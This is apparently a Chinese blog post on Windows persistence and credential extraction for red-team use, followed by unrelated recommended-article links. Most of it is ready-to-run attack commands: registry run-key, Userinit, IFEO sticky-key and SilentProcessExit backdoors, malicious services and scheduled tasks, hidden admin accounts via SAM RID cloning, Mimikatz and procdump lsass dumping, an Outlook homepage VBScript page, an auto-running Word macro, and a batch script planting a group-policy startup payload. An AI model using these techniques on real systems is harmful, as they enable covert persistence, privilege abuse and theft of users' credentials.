文中所提到的利用方式均在WIN10或2016中进行了测试。文中所提技术仅用于红蓝对抗,请勿进行非法利用。

Windows 启动目录:

Windows 启动目录分为,用户启动目录,与系统启动目录。
用户启动目录是登录特定用户的时候才会启动。
系统启动目录是所有登录该计算机的用户都会启动。

用户启动目录:
用户启动目录只要 Administrator 权限即可
C:\Users{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

move c:\xxx.exe "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xxx.exe"

系统启动目录:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
如果通过 move 的方式向系统启动目录的写入需要进行提权,才可写入

move c:\xxx.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\xxx.exe"

Windows 服务注册:

通过在注册表中注册恶意服务并设置为自启动的方式来进行持久化。

CMD 通过 sc 进行注册:

服务注册至少需要本地管理组权限。还需要注意SC 命令需要等号后面接空格在加参数
命令详解:sc create 服务名 binpath= "命令" start= "auto" obj= "objectname"

sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto" obj="LocalSystem"
sc start pentestlab #立即启动服务

PowerShell 通过New-service 创建:

New-service -Name "服务名" -BinaryPathName "执行的命令" -Description "" -StartupType Automatic
sc start pentestlab

Registry Run Keys(注册表注册键):

Run 注册键 :
HKCU:

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

我们通常安装的软件,其开机自启动都会放在该注册表下。如下

所以我们也能通过向该注册表添加新的键值对进行恶意的开机启动。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 注册表的修改只要求有 administrator 权限即可

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v qf_test /t REG_SZ /d "C:\WINDOWS\system32\notepad.exe"

HKLM:

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 则需要提升了权限后才可以进行修改,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v qf_test1 /t REG_SZ /d "C:\WINDOWS\system32\notepad.exe"

Userinit 注册键:

Userinit 位于 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon 以下是微软对于该注册键的说明:
指定用户登录时Winlogon运行的程序。默认情况下,Winlogon运行Userinit.exe,后者运行登录脚本,重新建立网络连接,然后启动Windows用户界面Explorer.exe。
您可以更改此条目的值以添加或删除程序。例如,要在Windows资源管理器用户界面启动之前运行程序,请在该条目的值中用该程序的名称替换Userinit.exe,然后在该程序中包含说明以启动Userinit.exe。如果您脱机工作且未使用登录脚本,则可能还需要用Explorer.exe代替Userinit.exe。

Userinit注册键是可以通过逗号分割多个应用程序,并且执行的程序还可以带参数(也就意味着,可以利用 powershell 实现无文件后门持久化)。需要注意的是,修改 Userinit 必须要管理员权限才可。

通过 Reg 修改注册表 :

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,cmd.exe" /f

通过 PowerShell 修改注册表:

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,cmd.exe /c calc.exe"

LogonScript 注册键:
UserInitMprLogonScript 注册键位于 HKCU:\Environment 下,大多数系统,注册表中都不会包含这一项。我们只需要创建该键即可。reg 或 powershell 都可以完成。

reg add "HKCU:\Environment" /v UserInitMprLogonScript /t REG_SZ /d "c:\users\red2\desktop\1.bat" /f

New-ItemProperty "HKCU:\Environment" UserInitMprLogonScript -value "c:\users\red2\desktop\1.bat" -propertyType string | Out-Null

注销登录就可以发现文件成功被写入,并且需要注意的是,LogonScript 的启动优先级较高,甚至优于某些杀软启动。

Load 注册键:
Load 注册键位于 HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows 下。通常该键也是不存在的,但是也可以通过添加 load 键值的方式,使其生效。

reg add "HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows" /v load /t REG_SZ /d "c:\users\red2\desktop\1.bat" /f

New-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" load -value "c:\users\red2\desktop\1.bat" -propertyType string | Out-Null

注销登录后成功触发

Explore\run 注册键:
Explore\run 位于 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 与 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer 下, 这两个注册表项需要提权才能进行修改。

直接使用 reg 创建一个 run 注册表项,并同时创建 twin 键值

reg  add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run" /v twin /t REG_SZ /d "lala.exe" /f

当我使用WIN 10进行测试的时候,发现通过这种方式创建的持久化,会触发 explorer 的错误,只有关闭掉该错误提示,才会进行后续动作

win 2016 则不存在这种问题,其他系统未进行测试,暂时不知道会不会出现这样的问题。

注销登陆,成功触发。

而单纯使用 PowerShell 进行创建的话,则先需要创建 run 注册表项,然后在创建健值。

New-Item "HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run"
New-ItemProperty "HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run" run_shell -value "c:\users\red2\desktop\1.bat" -propertyType string | Out-Null

Command Processor\AutoRun 注册键:
Command Processor\AutoRun 注册键位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor 启动时间先于用户登录。在完全重启计算机时会运行。

New-ItemProperty "HKLM\SOFTWARE\Microsoft\Command Processor" AutoRun -value "c:\users\admin\desktop\1.bat" -propertyType string | Out-Null


并且是以system权限启动

并且 HKCU:\SOFTWARE\Microsoft\Command Processor\AutoRun 和 HKLM:\SOFTWARE\Microsoft\Command Processor\AutoRun 都会在用户通过快速运行 cmd 的时候执行。

Winlogon\taskman 注册键:
taskman 位于 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 与 HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 但是经过测试,只有 HKLM 注册表下的 taskman 是生效的。

New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" taskman -value "c:\users\admin\desktop\1.exe" -propertyType string | Out-Null

Windows NT\CurrentVersion\Windows\run 注册键:
Windows\run 注册键位于 HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows 下 HKLM 下的该键则不会生效。并且该键值是需要用户登录桌面后才会启动,且是当前用户权限。

New-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" run -value "c:\users\admin\desktop\2.exe" -propertyType string | Out-Null

Windows NT\CurrentVersion\Windows\load 注册键:
Windows\load 位于 HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows 下和 Windows\run 一样,只有 HKCU 下的该键才生效。

New-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows" load -value "c:\users\admin\desktop\2.exe" -propertyType string | Out-Null

其它注册键:
Windows 中可用于权限维持的注册键还有很多,由于精力有限,无法一一测试是否有效.







计划任务:
在Windows操作系统中提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。在实战中这个地方也经常被攻击者进行利用。同时也要求创建计划任务需要管理员权限才行。

On System Start
schtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onstart /ru SystemOn User Idle (30mins)
schtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onidle /i 30On User Login
schtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onlogon /ru System


更多的详细信息请参考
https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/

Shift 后门:

我们都知道在登陆Windows的时候,Windows允许我们使用一些快捷功能,比如连续5次的shift启动粘贴键,在老版本的系统中(如xp/2003)我们可以通过直接替换sethc.exe进行持久化的后门植入。但是到高版本系统之后,只有TrustedInstaller组用户才有权限进行更改。但是我们还是可以通过添加注册表的方式进行shift后门植入。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f


还有就是在以下文章中看到的方式,利用对进程静默退出的监视操作,实现shift后门。但是这种方式不会像上面的那种,直接将CMD弹出到登陆界面,而是在sethc.exe退出之后运行。同样也是system权限。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Globalflag /t REG_DWORD /d 512 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

参考文章:
https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483994&idx=1&sn=4041632680d059c6d9ed0aba0701ca71&chksm=cf4d8d3bf83a042d23216c02418ccbd377103f65b1b0eed0cbad61b055966bccd24c7637e495&mpshare=1&scene=23&srcid=&sharer_sharetime=1571196868049&sharer_shareid=be7a01e2434a36782542fb17e9d2a6e8#rd

创建后门账户:

创建隐藏账户方式一:

net user xxx$ password /add
net localgroup administrator /add

创建隐藏账户方式二:
首先还是像上面一样创建一个$隐藏账户
然后修改注册表

hklm:\SAM\SAM\Domains\Account\Users\

复制 Administrator 也就是 0x1f4 中 F的二进制值。

将其复制到新创建的隐藏账户 0x3eb 中

然后将0x1f4 与 0x3eb 与 bbb_1$ 全部导出

再删除 bbb_1$ 这个隐藏账户

最后再将导出的注册表进行导入及完成。

凭据提取:

在Windows平台中,最常用的凭据提取工具便是 Mimikatz ,它能够从 lsass 中提取出用户登陆的明文账户及密码。如果提取不出明文密码,也能获得密码 hash 用以制作各种票据。其它更多的利用,不在本片文章的讨论范围,这篇文章,只简述其凭据提取的功能。
通过获取目标账户的密码或者 hash 制作的票据,我们也能达到一定程度上的权限维持的作用,当然获取密码还有更简单的方式,比如键盘记录。

直接在目标机运行:

#以管理员权限运行 mimikatz ,然后获取 debug 权限,再获取账户密码
privilege::debug
sekurlsa::logonpasswords


通过任务管理器转储 lsass:
除了上面直接在目标机上运行 mimikatz 的方式,我们还可以通过转储 lsass 的方式,在本地进行提取。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

通过微软的小工具 procdump 进行转储:

procdump64 -accepteula -ma lsass.exe lsass.dmp

SqlDumper:
sqldumper 是 mssql 自带的一个工具,在目标机安装了 mssql 我们都可以直接使用,以 mssql 2019 为例,其存放于 C:\Program Files\Microsoft SQL Server\150\Shared。

150 for SQL Server 2019
140 for SQL Server 2017
130 for SQL Server 2016
120 for SQL Server 2014
110 for SQL Server 2012
100 for SQL Server 2008
90 for SQL Server 2005
获取进程PIDtasklist /svc |findstr lsass.exe

#根据PID dump lsass
sqldump.exe PID 0 0x01100

Get-ProcessMiniDump :

OutLook 后门持久化:
OutLook 主页滥用:
修改主页的目标地址,改为恶意网页地址。每次点击收件箱时都会触发漏洞。

由于outlook 使用的是 ieframe.dll 来进行渲染,所以导致其可执行VBS代码。造成命令执行。

<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--Sub window_onload()Set Application = ViewCtl1.OutlookApplicationSet cmd = Application.CreateObject("Wscript.Shell")cmd.Run("notepad")End Sub
--></script>
</head>
<body><object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object>
</body>
</html>

微软已发布KB4011162补丁用以删除该功能。

OutLook 规则滥用:

由于笔者的 OutLook 已修复该功能,且该规则滥用利用简单,所以不做单独演示。
https://www.freebuf.com/vuls/243747.html
深度利用请参考:
https://blog.csdn.net/weixin_34212762/article/details/90503389
Outlook 功能滥用利用工具地址:
https://github.com/sensepost/ruler

Office 持久化:
宏持久化:
创建一个作用于所有活动模板和文档的宏。

然后编写对应的宏代码,或使用CS,MSF等工具生成的代码也可以。
在Word中能够自动运行的默认宏代码名称及触发条件如下:

1、名称:AutoExec 条件:启动Word或加载全局模板
2、名称:AutoNew 条件:每次生成新文档时
3、名称:AutoOpen 条件:每次打开一个已有文档时
4、名称:AutoClose 条件:每次关闭文档时
5、名称:AutoExit 条件:退出word或卸载全局模板时

一个简单的测试代码。当启动word 的时候触发。

Sub AutoExec()Set sa = CreateObject("Shell.Application") '以管理员身份运行cmdsa.ShellExecute "cmd", " /c start calc ", , "runas", 1
End Sub

HookPasswordChange:
在win10 测试失败,稍后在server 系统中进行测试。
http://www.vuln.cn/6812

组策略持久化:
LGP:

本地组策略(Local Group
Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows
XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows
Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows
Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO
Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。–(应用之百度百科)

命令行输入 GCC 即可打开 控制台并添加本地组策略,或者运行gpedit.msc也可以

本地组策略提供了非常丰富的功能,他可以设置用户访问权限,密码复杂度检验,账户锁定阈值,开关机脚本执行等等功能。

我们通过 LGP 的登录脚本设置,添加我们的样本文件,然后重启可以看到样本程序成功提权到system,这个点既能当做提权点,也能做权限维持。其本质与注册表提权与权限维持相同。

但是在实际环境中,我们有时无法通过桌面进行操作,所以我写了一个bat脚本用于修改计算机本地组策略,需要 administrator 权限

@echo off
echo 需要bypassuac后才能使用
set di=%windir%\system32\GroupPolicy\Machine\Scripts
if exist %di% (echo script文件夹存在if exist %di%\scripts.ini (echo scripts.ini文件存在,删除原文件attrib -a -s -r -h %di%\scripts.inidel %di%\scripts.ini /qecho.>%di%\scripts.iniecho [Startup] >>%di%\scripts.iniecho 0CmdLine = %~dp0artifact32.EXE >>%di%\scripts.iniecho 0Parameters= >>%di%\scripts.iniattrib +s +a +h %di%\scripts.ini    ) else (echo script.ini文件不存在,正在创建文件echo %di%echo.>%di%\scripts.iniecho [Startup] >>%di%\scripts.iniecho 0CmdLine = %~dp0artifact32.EXE >>%di%\scripts.iniecho 0Parameters= >>%di%\scripts.iniattrib +s +a +h %di%\scripts.ini)gpupdate /force
) else (echo script文件夹不存在,创建该文件夹md %di%md %di%\Shutdownmd %di%\Startupecho.>%di%\scripts.iniecho [Startup] >>%di%\scripts.iniecho 0CmdLine = %~dp0artifact32.exe >>%di%\scripts.iniecho 0Parameters= >>%di%\scripts.iniattrib +s +a +h %di%\scripts.inigpupdate /force
)
pause

另外如果是针对当前用户做登录启动的组策略的话,由于最终是写入到 HKCU 注册表,所以只需要当前权限即可。
当前用户的登录脚本配置是位于 %windir%\system32\GroupPolicy\user\Scripts ,只需要修改上方脚本中的 di 地址即可。

感谢@挖低危的清风 大佬的文章,学以致用。

Windows 权限维持学习记录相关推荐

  1. Linux 文件系统与权限(学习记录)

    Linux文件与权限   在Linux中有着一切皆文件的说法,而文件的权限大小和用户所拥有的权限决定了用户对文件的控制程度,因此文件的权限和用户的权限对Linux中文件和系统的安全有很大的影响. 一. ...

  2. Windows驱动开发学习记录- x86 InlineHook字节数计算(使用Hook Api lib 0.4 for C)

    Hook Api lib 0.4 for C原文及源代码地址链接 < [原创]Hook Api lib 0.4 for C > 一.使用背景 最新在学习SSDT Inline Hook,一 ...

  3. Windows驱动开发学习记录-驱动中快速重启关闭计算机之一

    引言 关于快速重启和关闭计算机,网上有不少软件在Ring3下调用ZwShutdownSystem (NtShutdownSystem)来实现,虽然速度很快,但还至少经历一些流程,比如向设备驱动发送停机 ...

  4. 我的Linux学习记录(蓝桥)————用户及文件权限管理

    我的Linux学习记录(蓝桥)三 Linux 是一个可以实现多用户登录的操作系统,比如"李雷"和"韩梅梅"都可以同时登录同一台主机,他们共享一些主机的资源,但他 ...

  5. linux文件权限记录,linux文件权限学习记录

    linux文件权限学习记录 1.Linux 的安全性 1.1/etc/passwd 文件 存放用户的登录名以及相关信息#cat  / etc / passwd root: x: 0 : 0 : roo ...

  6. Windows网络编程案例教程-董相志 学习记录 第一个网络程序hostent

    <Windows网络编程案例教程>-董相志 学习记录 第一个网络程序hostent 第一章 网络编程概述 1.3.5第一个网络程序--hostent 对主机的名称和地址解析 WinSock ...

  7. 《Windows网络编程案例教程》-董相志 学习记录 阻塞/非阻塞套接字编程

    <Windows网络编程案例教程>-董相志 学习记录 阻塞/非阻塞套接字编程 2.3 阻塞/非阻塞套接字编程 阻塞套接字编程通信流程图 2.3.1 阻塞套接字客户机编程 1.启动并初始化W ...

  8. Redis的学习记录

    Redis的学习记录 1.先导了解 1.1 NOSQL概述 1.1.1 为什么要用NoSql? 1.1.2 NoSql了解 1.1.3 NoSql特点 1.1.4 NoSQL的四大分类 2. Redi ...

  9. Windows内存管理学习笔记(一)—— 线性地址的管理

    Windows内存管理学习笔记(一)-- 线性地址的管理 用户空间线性地址的管理 实验一:理解用户空间线性地址管理 Private Memory 实验二:理解Private Memory 堆 实验三: ...

最新文章

  1. 6个你应该用用看的用于文本分类的最新开源预训练模型 忆臻
  2. python做直方图-python实现直方图的应用
  3. SpringBoot2.0 以上 WebMvcConfigurerAdapter 方法过时 解决办法
  4. mysql表关联关于Hibernate的异常org.springframework.orm.hibernate5.HibernateOptimisticLockingFailureException
  5. 简述oracle的主要数据库对象,Oracle数据库数据对象分析
  6. ubuntu linux网关不通,Ubuntu 8.04不能上网等问题的解决
  7. keynote代码高亮【转】
  8. Mybatis工作中常用动态SQL总结
  9. spring扩展点一:BeanDefinitionRegistryPostProcessor
  10. Shader之基础雾效 U3D-PostProcessing
  11. 微信开发模式api接口文档简介
  12. 随机点名器1(Java数组基础)
  13. Mobileye REM地图如何解决高精地图落地难点
  14. 微机原理与接口技术:微型计算机输入输出接口 详细笔记与例题
  15. SystemInfo.deviceUniqueIdentifier
  16. 遵守数据安全法,零信任保驾护航
  17. 模拟163邮箱登录钓鱼PHP源码,分享一个curl模拟网易163邮箱登录实例
  18. 免费云服务器使用体验
  19. pytorch python学习(三)
  20. 视频文件rpc服务器不可用,RPC服务器不可用怎么办

热门文章

  1. c语言 malloc 函数用法
  2. 识字小程序—小程序安装hanzi-writer-miniprogram
  3. android无缝切换播放器,Android使用MediaPlayer和TextureView实现视频无缝切换
  4. 高等数学18讲(19版)7.18
  5. cad快看_CAD看图软件览图模式及其功能介绍
  6. spring如何排除bean的注入
  7. jquery 添加点击添加class样式 移除兄弟元素样式
  8. 加乘混合同余法生成伪随机序列【附验证】
  9. Unity3D游戏开发第三人称角色控制的模式
  10. 【后缀数组】伊芙利特之祭--总结